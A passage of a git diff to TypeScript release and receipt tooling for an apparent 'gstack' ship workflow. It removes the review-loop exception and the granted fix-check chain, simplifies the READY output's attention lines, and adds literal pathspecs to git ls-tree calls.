- return `Review-loop exception: accepted by ${e.accepted_by} ${e.date} via ${e.via}: ${e.reason} (${stop})`;
-}
-
const carries = (body: string, line: string) => body.split(/\r?\n/).some(l => l.trim() === line);
/**
- * The owner exceptions a receipt records, checked the same way: valid shape, and the body carries each line verbatim.
- * `isAncestor`, when given, also requires the review-loop exception's fix-check head to be the receipt head or its ancestor.
+ * The owner exception a receipt records (the documentation exception): valid shape, and the body carries its line verbatim.
+ * A legacy review-loop exception no longer stands: GST-3562 part 4 removed the check that kept its line in the body.
*/
-export function exceptionProblems(body: string, r: ShipReceipt, isAncestor?: (commit: string) => boolean): string[] {
+export function exceptionProblems(body: string, r: ShipReceipt): string[] {
const out: string[] = [];
- const raw = r as ShipReceipt & { docs?: unknown };
+ const raw = r as ShipReceipt & { docs?: unknown; review_loop_exception?: unknown };
+ if (raw.review_loop_exception !== undefined) out.push('the receipt records a review-loop exception, which GST-3562 part 4 removed');
if (raw.docs !== undefined) {
const d = parseReceiptDocs(raw.docs);
if (!d.ok) out.push(`docs: ${d.message}`);
else { const line = docsExceptionLine(d.docs); if (line && !carries(body, line)) out.push(`the body does not carry the documentation exception line verbatim: ${JSON.stringify(line)}`); }
}
- if (r.review_loop_exception !== undefined) {
- const e = parseReviewLoopException(r.review_loop_exception);
- if (!e.ok) out.push(e.message);
- else {
- const loopProblem = exceptionLoopProblem(e.exception, r.review_loop);
- if (loopProblem) out.push(`review_loop_exception ${loopProblem.replace('--review-loop', 'review_loop')}`);
- if (isAncestor && !isAncestor(exceptionHead(e.exception))) out.push(`review_loop_exception's head ${exceptionHead(e.exception).slice(0, 12)} is not the receipt head or an ancestor of it`);
- const line = reviewLoopExceptionLine(e.exception);
- if (!carries(body, line)) out.push(`the body does not carry the review-loop exception line verbatim: ${JSON.stringify(line)}`);
- }
- }
return out;
}
@@ -424,7 +364,7 @@ export function writeExcludeBinds(root: string, base: string, head: string, revi
const index = path.join(gitDir, `gstack-receipt-${process.pid}-${randomBytes(4).toString('hex')}.index`);
const env = { ...process.env, GIT_INDEX_FILE: index, GIT_AUTHOR_NAME: 'gstack-ship-receipt', GIT_AUTHOR_EMAIL: '[email protected]', GIT_COMMITTER_NAME: 'gstack-ship-receipt', GIT_COMMITTER_EMAIL: '[email protected]', GIT_AUTHOR_DATE: '2000-01-01T00:00:00Z', GIT_COMMITTER_DATE: '2000-01-01T00:00:00Z' };
const run = (args: string[], input?: string) => { const r = spawnSync('git', args, { cwd: root, encoding: 'utf8', env, input, timeout: 60_000 }); return { ok: r.status === 0, out: (r.stdout ?? '').trim() }; };
- const treeEntry = (rev: string, p: string) => run(['ls-tree', '-z', '--full-tree', rev, '--', p]).out.split('\0').find(l => l.endsWith(`\t${p}`));
+ const treeEntry = (rev: string, p: string) => run(['--literal-pathspecs', 'ls-tree', '-z', '--full-tree', rev, '--', p]).out.split('\0').find(l => l.endsWith(`\t${p}`));
let reset: string;
const befores = new Map<string, string | null>();
try {
@@ -531,8 +471,7 @@ export function bindShippedReceipt(root: string, baseRef: string, body: string,
if (self) return { ok: false, code: 'BASE_CONTAINS_HEAD', message: self, line: b.line };
const based = merged ? b : bindReceipt(body, pr, accepted, { base: baseRef });
if (!based.ok) return based;
- const ancestor = (commit: string) => b.receipt.carry?.ancestry === 'rewritten' || git(root, ['merge-base', '--is-ancestor', commit, b.head]).ok;
- const problems = exceptionProblems(body, b.receipt, ancestor);
+ const problems = exceptionProblems(body, b.receipt);
if (problems.length) return { ok: false, code: 'QUEUE_RECEIPT_EXCEPTION_INVALID', message: `the receipt's owner exception does not stand: ${problems.join('; ')}`, line: b.line };
const at = headInputs(root, baseRef, b.head, b.receipt, merged);
if (at.x.state === 'refused') return { ok: false, code: at.x.code, message: at.x.lines.join('; '), line: b.line };
diff --git a/lib/ship-receipt-patch.ts b/lib/ship-receipt-patch.ts
index 9bb74132f..89a2d3083 100644
--- a/lib/ship-receipt-patch.ts
+++ b/lib/ship-receipt-patch.ts
@@ -93,7 +93,7 @@ const HARNESS_PIN = /^scripts\/harness-pins\/(.+)\.json$/;
function rederivedHarnessPin(repoRoot: string, from: string, to: string, p: string, extra: ProductRules['extra']): boolean {
const pinned = HARNESS_PIN.exec(p)?.[1];
if (!pinned || classifyCarryPath(pinned, extra) !== 'product') return false;
- if (![from, to].every(ref => git(['ls-tree', ref, '--', p], repoRoot)?.startsWith('100644 blob '))) return false;
+ if (![from, to].every(ref => git(['--literal-pathspecs', 'ls-tree', ref, '--', p], repoRoot)?.startsWith('100644 blob '))) return false;
const json = (ref: string, rel: string): any => { const r = spawnSync('git', ['show', `${ref}:${rel}`], { cwd: repoRoot, encoding: 'utf8', timeout: 30_000, maxBuffer: 16 * 1024 * 1024 }); try { return r.status === 0 ? JSON.parse(r.stdout) : null; } catch { return null; } };
const [ma, mb] = [json(from, HARNESS_MANIFEST), json(to, HARNESS_MANIFEST)];
if (!ma || !mb || ma.version !== mb.version || JSON.stringify(ma.patterns) !== JSON.stringify(mb.patterns)) return false;
@@ -143,7 +143,7 @@ export function productSpec(repoRoot: string, rules: ProductRules, from: string,
// after a changelog-fragment conversion, or only its version moved) holds none of the branch's product: whatever else
// differs between the two heads came from the base (GST-1210).
// The same `ls-tree` entry (mode and object id, empty when absent) is an unchanged side; a failed read never is.
- const entryAt = (ref: string, p: string) => git(['ls-tree', ref, '--', p], repoRoot);
+ const entryAt = (ref: string, p: string) => git(['--literal-pathspecs', 'ls-tree', ref, '--', p], repoRoot);
const sameEntry = (a: string, b: string, p: string) => { const x = entryAt(a, p); return x !== undefined && x === entryAt(b, p); };
const ownStampOnly = (p: string) => !!branch?.touched.has(p) && stamped(p) && branch.sides.every(([a, b]) => sameEntry(a, b, p) || classify(p, a, b) === 'metadata');
const changed = changedRaw.split('\n').filter(Boolean).map(p => ({ path: p, class: ownStampOnly(p) ? 'metadata' as const : branch && rederivedHarnessPin(repoRoot, from, to, p, rules.extra) ? 'generated' as const : classify(p, from, to) }));
@@ -156,7 +156,7 @@ export function productSpec(repoRoot: string, rules: ProductRules, from: string,
// `from`), a regular file with the reviewed mode at both heads (GST-980): never the whole-text version swap.
const ownRows = demoted.filter(p => {
const side = branch?.own(p);
- const mode = (ref: string) => /^(100644|100755) blob /.exec(git(['ls-tree', ref, '--', p], repoRoot) ?? '')?.[1];
+ const mode = (ref: string) => /^(100644|100755) blob /.exec(git(['--literal-pathspecs', 'ls-tree', ref, '--', p], repoRoot) ?? '')?.[1];
const before = blobAt(from, p), after = blobAt(to, p), oldVersion = version(from), newVersion = version(to);
if (!side || before === null || after === null || !oldVersion || !newVersion || !mode(from) || mode(from) !== mode(to)) return false;
const was = before.split('\n');
diff --git a/lib/ship-receipt-prose.ts b/lib/ship-receipt-prose.ts
index e9d6e6535..ae20fba27 100644
--- a/lib/ship-receipt-prose.ts
+++ b/lib/ship-receipt-prose.ts
@@ -7,7 +7,6 @@
*/
import { APPROVALS_FOOTER_END, APPROVALS_TABLE_HEADER } from './approval-record';
import { RECEIPT_FENCE } from './ship-receipt';
-import { parseReviewLoopException, reviewLoopExceptionLine } from './ship-receipt-depth';
import { docsExceptionLine, parseReceiptDocs } from './ship-receipt-docs';
import { ruledNoteText, type RuledNote } from './ruled-notes';
import { gateDispositionText, type GateDisposition } from './gate-dispositions';
@@ -112,16 +111,13 @@ function withoutApprovalsBlocks(body: string): string {
}
/**
- * The body without the exception lines the receipt's own exceptions require: the `Review-loop exception: …` line
- * (GST-977), the `Documentation exception: …` line (GST-983) and each `Ruled note: …`, `Gate disposition: …`, `Mechanical retake: …` and `Test-lane exception: …` line (GST-1537, GST-2491, GST-1560, GST-1595). write and the receipt check want each word for word,
+ * The body without the exception lines the receipt's own exceptions require: the `Documentation exception: …` line (GST-983) and each `Ruled note: …`, `Gate disposition: …`, `Mechanical retake: …` and `Test-lane exception: …` line (GST-1537, GST-2491, GST-1560, GST-1595). write and the receipt check want each word for word,
* and each quotes the owner's reason (`outside 1 and 2 skip detector`), not this PR's counters. Only a line whose
* trimmed text is a rendered line, the test write applies, is left out; the same words inside a longer line stay
* prose. A marker line takes its place so the text on either side never joins into a claim.
*/
function withoutExceptionLines(body: string, receipt: Record<string, unknown>): string {
const lines = new Set<string>();
- const loop = receipt.review_loop_exception === undefined ? undefined : parseReviewLoopException(receipt.review_loop_exception);
- if (loop?.ok) lines.add(reviewLoopExceptionLine(loop.exception));
const docs = receipt.docs === undefined ? undefined : parseReceiptDocs(receipt.docs);
const docsLine = docs?.ok ? docsExceptionLine(docs.docs) : null;
if (docsLine) lines.add(docsLine);
diff --git a/lib/ship-receipt.ts b/lib/ship-receipt.ts
index 612ca9a3a..abdff1464 100644
--- a/lib/ship-receipt.ts
+++ b/lib/ship-receipt.ts
@@ -25,7 +25,7 @@ const KEY_ORDER: Array<keyof ShipReceipt | 'docs'> = [
'schema_version', 'pr', 'head', 'version', 'base', 'gated_tree', 'predecessor', 'tree', 'gate_reuse', 'gate', 'ci', 'ci_carried', 'spend_usd', 'calls',
'session_kind', 'artifacts_consumed', 'run', 'thread', 'policy', 'queue_mode', 'preregistration', 'history',
'head_tree', 'product_patch_id', 'gstack_version', 'review_depth', 'pregate', 'requires_remote', 'issues', 'approval', 'docs', 'review_loop',
- 'review_loop_exception', 'review_round_grants', 'cleared_by_grant', 'cleared_by_trailer', 'ruled_notes', 'gate_dispositions', 'mechanical', 'review_targeted', 'design', 'review_exclude', 'review_exclude_fallback', 'docs_audit_read', 'carry', 'base_red', 'flaky_exception', 'no_stop',
+ 'cleared_by_trailer', 'ruled_notes', 'gate_dispositions', 'mechanical', 'review_targeted', 'design', 'review_exclude', 'review_exclude_fallback', 'docs_audit_read', 'carry', 'base_red', 'flaky_exception', 'no_stop',
];
/** Keys in the fixed order so identifiers lead; undefined values are dropped. */
@@ -133,7 +133,7 @@ export const RUNS_RE = /```gstack-receipt-runs[ \t]*\r?\n([\s\S]*?)\r?\n```[ \t]
* carries), `carry` for any other hop. status: a /ship run that
* started and wrote no receipt yet (`started`, its counters so far) or ended on an infrastructure failure (`voided`).
*/
-export type ReceiptRun = Pick<ShipReceipt, 'head' | 'version' | 'gstack_version' | 'run' | 'review_loop' | 'review_loop_exception'> & { depth?: string; carried_from?: string; carry_kind?: 'carry' | 'recheck'; status?: 'started' | 'voided'; mark?: 'stop' | 'grant' | 'abandoned'; tree?: string; grant?: string; by?: string; reason?: string; at?: string };
+export type ReceiptRun = Pick<ShipReceipt, 'head' | 'version' | 'gstack_version' | 'run' | 'review_loop'> & { depth?: string; carried_from?: string; carry_kind?: 'carry' | 'recheck'; status?: 'started' | 'voided'; mark?: 'stop' | 'grant' | 'abandoned'; tree?: string; grant?: string; by?: string; reason?: string; at?: string };
/** The runs block keeps the newest RECEIPT_RUNS_KEPT run entries and every stop, grant or abandoned marker (lib/pr-review-history.ts), in order. */
export function keptRuns(runs: readonly ReceiptRun[]): ReceiptRun[] {
const keep = new Set(runs.filter(r => !r.mark).slice(-RECEIPT_RUNS_KEPT));
@@ -146,10 +146,10 @@ export function receiptRuns(body: string): ReceiptRun[] {
/** Whether any hop of the receipt's carry was a scoped re-check: gstack before GST-2673 let one carry a receipt across a product change, so the code it covered never got a full review, and no later carry or land takes that receipt (GST-2706). */
export const recheckCarried = (r: ShipReceipt): boolean => !!r.carry?.reason.split(' + ').some(hop => hop.includes('scoped re-check by '));
export function receiptRun(r: ShipReceipt): ReceiptRun {
- const { head, version, gstack_version, run, review_loop, review_loop_exception } = r;
+ const { head, version, gstack_version, run, review_loop } = r;
const hop = r.carry ? r.carry.reason.split(' + ').pop()! : undefined;
const carry_kind = hop === undefined ? undefined : hop.includes('scoped re-check by ') ? 'recheck' : 'carry';
- return JSON.parse(JSON.stringify({ head, version, gstack_version, run, review_loop, review_loop_exception, depth: r.review_depth?.depth, carried_from: r.carry?.from, carry_kind }));
+ return JSON.parse(JSON.stringify({ head, version, gstack_version, run, review_loop, depth: r.review_depth?.depth, carried_from: r.carry?.from, carry_kind }));
}
/** Every receipt and runs block with the blank lines after it. */
@@ -226,27 +226,22 @@ export function receiptSummaryLine(r: ShipReceipt): string {
return `SHIP_RECEIPT: ${oneLine(parts.join(' '))}`;
}
-/** A risk-class PR (R51): the receipt's review depth has class gate or a risk class. Only these get the cross-family trail read. */
+/** A risk-class PR (R51): the receipt's review depth has class gate or a risk class. */
export const riskClassReceipt = (r: ShipReceipt | undefined) => r?.review_depth?.class === 'gate' || !!r?.review_depth?.risk?.length;
-/** What ready found for the READY tail: its TRIAL_MERGES lines and the decision trail's cross-family read, or why there is none. */
-export interface ReadyTail { trialMerges: string[]; trailRead: { row: number; reader: string; flags?: string } | { missing: string } }
+/** What ready found for the READY tail: its TRIAL_MERGES lines. */
+export interface ReadyTail { trialMerges: string[] }
/**
* The rest of the READY block (GSTA-258 E1: the ready output is the whole READY): the receipt's review loop, ready's trial
- * merges, and the Attention section, whose opening line follows the receipt's risk class and the trail's cross-family read
- * (docs/unattended.md): a risk-class PR with no trail-read row prints MISSING instead of a line to fill in. Its flags line is the
- * trail-read row's result, and with no such row there is none: the lane lists its own audit's flags, never a template line.
+ * merges, and the Attention section, which opens with the receipt's risk class; the lane lists what needs a decision under it.
*/
-export function readyTailLines(r: ShipReceipt | undefined, t: ReadyTail = { trialMerges: [], trailRead: { missing: 'ready did not look for one' } }): string[] {
+export function readyTailLines(r: ShipReceipt | undefined, t: ReadyTail = { trialMerges: [] }): string[] {
const loop = parseReviewLoop(r?.review_loop);
const opt = (k: keyof ReviewLoopReceipt) => (loop?.[k] ? ` ${k}=${loop[k]}` : '');
- const risk = riskClassReceipt(r);
- const legacy = !!r && !r.review_depth;
- const cls = legacy ? 'risk class unknown: the receipt records no review_depth' : `risk class: ${oneLine([r?.review_depth?.class === 'gate' ? 'gate' : '', ...(r?.review_depth?.risk ?? [])].filter(Boolean).join(', '))}`;
- const reviewer = !legacy && !risk ? 'self-audited (not a risk class: no cross-family trail read)'
- : 'row' in t.trailRead ? `reviewed by ${oneLine(t.trailRead.reader)} (${cls}; rule 27 cross-family trail read, trail row ${t.trailRead.row})`
- : `MISSING: cross-family trail read (${cls}; rule 27): ${oneLine(t.trailRead.missing)}; have a reader on another model family read the trail and transcript, record it with gstack-decision-trail <trail> trail-read "<reader model>" <why> <evidence> <flags>, then rerun ready with --trail <trail>`;
+ const cls = r && !r.review_depth ? 'risk class unknown: the receipt records no review_depth'
+ : riskClassReceipt(r) ? `risk class: ${oneLine([r?.review_depth?.class === 'gate' ? 'gate' : '', ...(r?.review_depth?.risk ?? [])].filter(Boolean).join(', '))}`
+ : 'not a risk class';
return [
loop ? `REVIEW_LOOP: passes=${loop.passes} blocking_found=${loop.blocking_found} deferred=${loop.deferred} noted=${loop.noted ?? 0} fixed=${loop.fixed ?? 0}${opt('unrecorded')}${opt('unbound')}${opt('fix_checks')}` : 'REVIEW_LOOP: none in the receipt',
...(r?.ruled_notes ?? []).map(n => `RULED_NOTE: ${oneLine(ruledNoteText(n))}`),
@@ -254,8 +249,7 @@ export function readyTailLines(r: ShipReceipt | undefined, t: ReadyTail = { tria
...laneExceptionBodyLines(r?.ci_carried).map(l => `TEST_LANE_EXCEPTION: ${oneLine(l.slice('Test-lane exception: '.length))}`),
...(t.trialMerges.length ? t.trialMerges : ['TRIAL_MERGES: MISSING: ready did not check the open PRs that share a file (rule 14)']),
'Attention:',
- reviewer,
- ...((legacy || risk) && 'row' in t.trailRead ? [/^(none|no flags?)?\.?$/i.test(t.trailRead.flags?.trim() ?? '') ? `No flags (trail row ${t.trailRead.row})` : `Flags (trail row ${t.trailRead.row}): ${oneLine(t.trailRead.flags!)}`] : []),
+ cls,
];
}
diff --git a/lib/ship-release.ts b/lib/ship-release.ts
index f28e7c09c..b3bbe2067 100644
--- a/lib/ship-release.ts
+++ b/lib/ship-release.ts
@@ -18,19 +18,12 @@ import { matchesAny } from './ship-policy';
import { baseHolds, boundedPaths, comparePath, contextPacket, gateEditedPaths, isTestCode, PACKET_SECTION_CAP, readScopedReview, touchedPaths, type BoundedKind, type PatchSides } from './ship-patch';
import { extractReceipt, heldBy, receiptRuns } from './ship-receipt';
import { finishRun, readRunRecord } from './ship-run-record';
-import { bindFixCheckRow, type RowBinding } from './fix-check-clearing';
-import { locate, readRecord } from './approval-record';
import { mechanicalPaths, writeMechanicalRecord } from './ship-mechanical';
import { uidSidecars } from './ship-sidecar';
import type { MechanicalConstant } from './ship-policy-mechanical';
-import { holdsOpen, reviewFreshness, RULABLE } from './review-evidence';
-import { isCriticalFinding, isOpenByAction } from './headless-artifacts';
-import { fingerprintPath, normalizePath } from './review-scope';
import { forbidSpecs } from './review-fetch';
import { readRuledNotes, ruledNoteText } from './ruled-notes';
-import { reviewRoundGrants } from './review-round-grant';
-import { dispositionedOn, gateDispositionText, gateKey, readGateDispositions } from './gate-dispositions';
-import { parseReviewLoopException, type ReviewLoopException } from './ship-receipt-depth';
+import { dispositionedOn, gateDispositionText, readGateDispositions } from './gate-dispositions';
import { parseReceiptDocs, type ReceiptDocs } from './ship-receipt-docs';
import { redactFindingSpans } from './redact-engine';
import { resolveStateRoot } from './state-root';
@@ -51,11 +44,10 @@ export const RELEASE_HELP = `gstack-ship-release — /ship Steps 12 and 15-17 (s
--keep-current (or --version <current>) keeps VERSION; under bump ask a session no person answers needs --answer before a bump is written
finish --base <base> --reviewed-tree <tree> [--reviewed-base <sha>] --docs-post <post.json> [--lane <label>=<command>]... [--build <command>]...
[--trailer <text>] [--docs-rechecked] [--no-lanes-approved] [--context-reviewed <record.json>]
- [--docs-requested <path>... --docs-result <the audit's result JSON>] [--review-loop-exception <json|@file>]
+ [--docs-requested <path>... --docs-result <the audit's result JSON>]
Step 15's release commit, Step 16 stages 1-4 (your builds, the reviewed-tree route, docs freshness,
each lane's receipt run once if stale) and the pregate on the stamped tree; --reviewed-base (the merge base
saved with the reviewed tree, or a stack parent's head once the parent landed: REVIEWED_BASE:) routes paths only the base moved, or whose own hunks are unchanged next to moved base context, as base=, and a hunk the base merge spliced as context=;
- --review-loop-exception (the record write takes) routes paths the branch touched at fix_check.head (narrowed to fix_check.files when listed) and changed since as accepted=
A lane the base branch maps in .gstack/pregate.json ship_lanes_from is carried from a verified CI run at this exact
tree, else deferred (EVIDENCE: DEFERRED): the pregate then runs its preflight stage here and its tests stage in accept
push --branch <branch-name> [--gate-open <n>] [--gate-open-approved] [--early [--base <base>]]
@@ -211,18 +203,13 @@ function harnessRepin(cwd: string, from: string, to: string, p: string): boolean
/**
* Step 16 stage 2's route. With --reviewed-base, a path whose branch patch is the reviewed one counts as base (lib/ship-patch.ts).
- * A code or test path a granted fix-check read counts as fix_checked (fixChecked: the newest completed clean review-fix-check
- * row, chained through earlier rows back to the reviewed tree, each under its own approved review_loop_grant): the owner's
- * granted fix-check after Step 11 is a review (GST-1130, GST-1627). A finding on a link the owner ruled a disclosed note (an
- * approved gstack-approvals rule row whose stop head lies inside that link's range_base..commit, never the row's own claim) is closed, and every ruling
- * prints as RULED_NOTE (GST-1537). An open gate finding the owner dispositioned (an approved gstack-approvals gate row at its
- * fingerprint, head in range, lib/gate-dispositions.ts) is closed the same way, and each prints as GATE_DISPOSITION (GST-2491).
- * Authored docs keep the stage 2.2 recheck.
+ * Every ruling prints as RULED_NOTE (GST-1537), and every owner gate disposition (an approved gstack-approvals gate row at its
+ * fingerprint, head in range, lib/gate-dispositions.ts) as GATE_DISPOSITION (GST-2491). Authored docs keep the stage 2.2
+ * recheck. A granted fix-check no longer counts as a review (GST-3562 part 4): an edit after the review bound is behavior.
*/
-type FixCheckException = ReviewLoopException & { fix_check: NonNullable<ReviewLoopException['fix_check']> };
-type Routed = Record<'behavior' | 'docs' | 'metadata' | 'tests' | 'base' | 'context' | 'bounded' | 'mechanical' | 'accepted' | 'fix_checked' | 'fix_checked_exact' | 'sidecar', string[]>;
+type Routed = Record<'behavior' | 'docs' | 'metadata' | 'tests' | 'base' | 'context' | 'bounded' | 'mechanical' | 'sidecar', string[]>;
type ReviewedBase = { commit: string; parent: boolean };
-type RouteOpts = { docsRechecked: boolean; contextReviewed?: string; loop?: FixCheckException; audited: Record<string, string | null> | null; bookkeeping: readonly string[]; mechanical: readonly MechanicalConstant[]; testCode: readonly string[]; excluded: readonly string[]; baseRelease?: string[] };
+type RouteOpts = { docsRechecked: boolean; contextReviewed?: string; audited: Record<string, string | null> | null; bookkeeping: readonly string[]; mechanical: readonly MechanicalConstant[]; testCode: readonly string[]; excluded: readonly string[]; baseRelease?: string[] };
/**
* The --reviewed-base commit: one on the base, or a landed stack parent (GST-1399). A child reviewed against its parent
@@ -255,130 +242,14 @@ function patchBase(cwd: string, baseRef: string, commit: string, parent: string
return parent && fork && holds(parent, commit) && holds(fork, parent) ? parent : fork;
}
-type FixLink = { row: Record<string, any>; commit: string; from: string; bound?: RowBinding };
-type BridgeOpts = { reviewed: string; baseRef: string; metadata: (p: string) => boolean; bookkeeping: readonly string[]; testCode: readonly string[] };
-/**
- * A range_base that follows the reviewed tree's commit by docs and release metadata alone (GST-2294, harness-evals#361: the
- * fix-check range started at the Step 14.5 docs commit). Walks range_base's first parents off the base back to the nearest commit
- * holding the reviewed tree; every commit after it, range_base included, must be a single-parent commit whose every path finish
- * routes as release metadata (route's own per-path rule, so baseRelease on a landed stack parent) or authored docs, so the paths
- * outside the fix-check's read keep the docs route and its recheck.
- * A merge, a code or test path, or no reviewed commit behind range_base returns null.
- */
-function docsBridge(cwd: string, from: string, o: BridgeOpts): { reviewedAt: string; commits: string[] } | null {
- const log = git(cwd, ['log', '--first-parent', '--format=%H %T %P', from, '--not', o.baseRef]);
- if (log.status !== 0) return null;
- const docsOnly = (p: string) => o.metadata(p) || (!isTestCode(p, o.testCode) && classifyPath(p, cwd) === 'docs' && !matchesAny(o.bookkeeping, p));
- const commits: string[] = [];
- for (const [commit, tree, ...parents] of log.stdout.trim().split('\n').filter(Boolean).map(l => l.split(' '))) {
- if (tree === o.reviewed) return commits.length ? { reviewedAt: commit!, commits: commits.reverse() } : null;
- const paths = parents.length === 1 ? touchedPaths(cwd, parents[0]!, commit!) : null;
- if (!paths || ![...paths].every(docsOnly)) return null;
- commits.push(commit!);
- }
- return null;
-}
-/**
- * The granted fix-checks finish counts (GST-1130, GST-1627): the newest review-fix-check row and, while its range_base does
- * not hold the reviewed tree, the newest earlier row whose commit is that range_base, back to a row whose range_base holds
- * it. Every link must be a completed clean read on committed branch content with its own approved review_loop_grant, a stop
- * head inside its range_base..commit, its own commit included (the post-review flow grants each fix-check at the commit it
- * reads, GST-1676); a grant counts for one link only, assigned newest link first, so one grant naming the boundary or two
- * links' commits covers one, and the older link needs a grant of its own.
- * A range_base no earlier row ends at is a gap, and the chain does not count, unless docs and release metadata alone sit between
- * the reviewed tree's commit and it (docsBridge, GST-2294). A link before the newest may, instead of a clean
- * read, be a finished read bound to its own committed content that found issues (logged converged:false, GST-1973) when its
- * findings account for its counts and each open or blocking one names a file it read: it counts no path itself, and a path its
- * findings name counts only through a clean link after it, and a finding no later clean link's range touched refuses the chain. A path counts as fix_checked when a clean link's range touched it and it is unchanged since that link,
- * or its patch against the base is still the one the link read.
- */
-function fixChecked(cwd: string, o: BridgeOpts & { now: string; parent?: string; currentBase?: string; candidates: string[] }, r: Report): { counted: boolean; paths: string[]; exact: string[] } | null {
+/** The owner's rulings and gate dispositions finish prints with stage 2's route (GST-1537, GST-2491). */
+function printRulings(cwd: string, r: Report): void {
const reviewRows: Record<string, any>[] = bin(cwd, 'gstack-review-read', [], 60_000).stdout.split('\n---CONFIG---')[0].split('\n')
.flatMap(l => { try { const v = JSON.parse(l); return v?.skill === 'review' || v?.skill === 'review-fix-check' ? [v] : []; } catch { return []; } });
- const rows = reviewRows.filter(v => v.skill === 'review-fix-check');
- const commitOf = (c: unknown) => typeof c === 'string' && /^[0-9a-f]{7,64}$/.test(c) ? git(cwd, ['rev-parse', '--verify', '--quiet', `${c}^{commit}`]).stdout.trim() : '';
- const ancestor = (a: string, d: string) => git(cwd, ['merge-base', '--is-ancestor', a, d]).status === 0;
- const onBranch = (c: string) => !!c && ancestor(c, 'HEAD');
- const commits = rows.map(row => commitOf(row.commit_full));
- const approvals = (loc => 'file' in loc ? readRecord(loc).rows : [])(locate({ cwd, env: process.env }));
- const chain: FixLink[] = [];
- let gap = '', bridged = '';
- for (let i = rows.length - 1; i >= 0;) {
- const row = rows[i]!, bound = row.fix_check_base !== undefined ? bindFixCheckRow(cwd, row, reviewRoundGrants(approvals)) : undefined;
- const link = { row, commit: commits[i]!, from: commitOf(bound ? row.fix_check_base : row.range_base), bound };
- chain.unshift(link);
- if (bound?.ok || !onBranch(link.from) || git(cwd, ['rev-parse', `${link.from}^{tree}`]).stdout.trim() === o.reviewed) break;
- i = commits.slice(0, i).lastIndexOf(link.from);
- const bridge = i < 0 ? docsBridge(cwd, link.from, o) : null;
- if (bridge) bridged = `FIX_CHECK_DOCS_BRIDGE: range_base ${link.from.slice(0, 12)} follows the reviewed commit ${bridge.reviewedAt.slice(0, 12)} by docs or release metadata only (${bridge.commits.map(c => c.slice(0, 12)).join(',')})`;
- else if (i < 0) gap = `range_base ${link.from.slice(0, 12)} does not hold the reviewed tree`;
- }
- const inRange = (l: FixLink, c: string) => !!l.from && !!l.commit && ancestor(l.from, c) && ancestor(c, l.commit);
- const rulings = readRuledNotes(cwd).map(n => ({ ...n, links: chain.filter(l => inRange(l, n.head)) }));
- for (const n of rulings) if (!n.finding.startsWith('edit:')) r.add(`RULED_NOTE: ${ruledNoteText(n)}${chain.length && !n.links.length ? ' (outside this fix-check\'s range; not applied)' : ''}`);
- const gates = readGateDispositions(cwd);
- for (const d of gates) r.add(`GATE_DISPOSITION: ${gateDispositionText(d)}${reviewRows.some(v => dispositionedOn(cwd, v, [d]).length) ? '' : ' (no open gate finding at this fingerprint on a review row whose range holds this head; not applied)'}`);
- const gatedOn = (l: FixLink) => new Set(dispositionedOn(cwd, l.row, gates).map(d => gateKey(d.finding, d.gate_id)));
- const grants = approvals.filter(g => g.outcome === 'approved' && (`${g.ask} ${g.scope}`.includes('review_loop_grant') || reviewRoundGrants([g]).some(x => x.kind === 'fix-check')));
- const granted: (typeof grants[number] | undefined)[] = [];
- const used = new Set<string>();
- for (let k = chain.length - 1; k >= 0; k--) {
- const l = chain[k]!;
- const g = l.bound?.ok ? (id => grants.find(x => x.id === id && !used.has(x.id)))(l.bound.grant.approval) : grants.filter(g => !used.has(g.id))
- .flatMap(g => { const fc = reviewRoundGrants([g]).find(x => x.kind === 'fix-check' && !x.legacy); return (fc ? (commitOf(fc.head) === l.from ? [fc.head] : []) : `${g.ask} ${g.scope}`.match(/\b[0-9a-f]{7,40}\b/g) ?? []).map(commitOf).filter(c => !!c && inRange(l, c)).map(stop => ({ g, stop })); })
- .reduce<{ g: typeof grants[number]; stop: string } | undefined>((best, c) => (!best || ancestor(best.stop, c.stop) ? c : best), undefined)?.g;
- if (g) used.add(g.id);
- granted[k] = g;
- }
- const ruledOn = (l: FixLink) => new Set(rulings.filter(n => n.links.includes(l)).map(n => n.finding));
- const why = (l: FixLink) => {
- const read = l.row.wtree ?? l.row.review_binding?.end_wtree;
- const fresh = reviewFreshness(l.row, read, ruledOn(l), gatedOn(l));
- return l.bound && !l.bound.ok ? `the granted fix-check row: ${l.bound.why}` : fresh?.status !== 'CURRENT' ? fresh?.reason ?? 'not a review row'
- : l.row.tree !== read || !onBranch(l.commit) ? 'the row was logged on content no branch commit holds'
- : !onBranch(l.from) ? 'the row names no range_base commit on this branch' : '';
- };
- const at = (l: FixLink) => (chain.length > 1 ? `; fix-check at ${l.commit.slice(0, 12)}, link ${chain.indexOf(l) + 1} of ${chain.length}` : '');
- const whys = new Map(chain.map(l => [l, why(l)]));
- const clean = new Set(chain.filter(l => !whys.get(l)));
- const flagged = (l: FixLink): string[] | null => {
- const b = l.row.review_binding, findings: Record<string, any>[] = Array.isArray(l.row.findings) ? l.row.findings.filter((f: unknown) => !!f && typeof f === 'object') : [];
- const paths = findings.filter(f => (f.blocking === true || isCriticalFinding(f) || isOpenByAction(f)) && !ruledOn(l).has(f.fingerprint) && !gatedOn(l).has(gateKey(f.fingerprint, f.gate_id)))
- .map(f => typeof f.path === 'string' ? f.path : fingerprintPath(f.fingerprint)).map(p => p && normalizePath(p));
- const bound = l.row.completed === true && l.row.scope !== 'fix-range' && (b?.state === 'incomplete' || b?.state === 'verified') && !!l.row.tree && b.start_wtree === l.row.tree && b.end_wtree === l.row.tree;
- const accounted = Array.isArray(l.row.findings) && findings.length >= Number(l.row.issues_found ?? 0) && findings.filter(isCriticalFinding).length >= Number(l.row.critical ?? 0);
- return bound && accounted && onBranch(l.commit) && onBranch(l.from) && paths.every(p => !!p && git(cwd, ['cat-file', '-e', `${l.commit}:${p}`]).status === 0) ? paths as string[] : null;
- };
- const handedOn = new Map<FixLink, string[]>(chain.slice(0, -1).filter(l => !clean.has(l)).flatMap(l => (p => p ? [[l, p] as const] : [])(flagged(l))));
- const newestFirst = [...chain].reverse();
- const stale = newestFirst.map(l => ({ l, w: handedOn.has(l) ? '' : whys.get(l)! })).find(x => x.w);
- const ungranted = newestFirst.find(l => !granted[chain.indexOf(l)]);
- const ranges = new Map(chain.filter(l => clean.has(l)).map(l => [l, touchedPaths(cwd, l.from, l.commit)]));
- const uncovered = [...handedOn].map(([d, ps]) => ({ d, p: ps.find(p => !chain.slice(chain.indexOf(d) + 1).some(j => ranges.get(j)?.has(p))) })).find(x => x.p);
- const notCounted = !chain.length ? '' : stale ? `${stale.w}${at(stale.l)}` : gap ? `${gap}${at(chain[0]!)}`
- : uncovered ? `a finding on ${uncovered.p} that no later clean fix-check's range touched${at(uncovered.d)}`
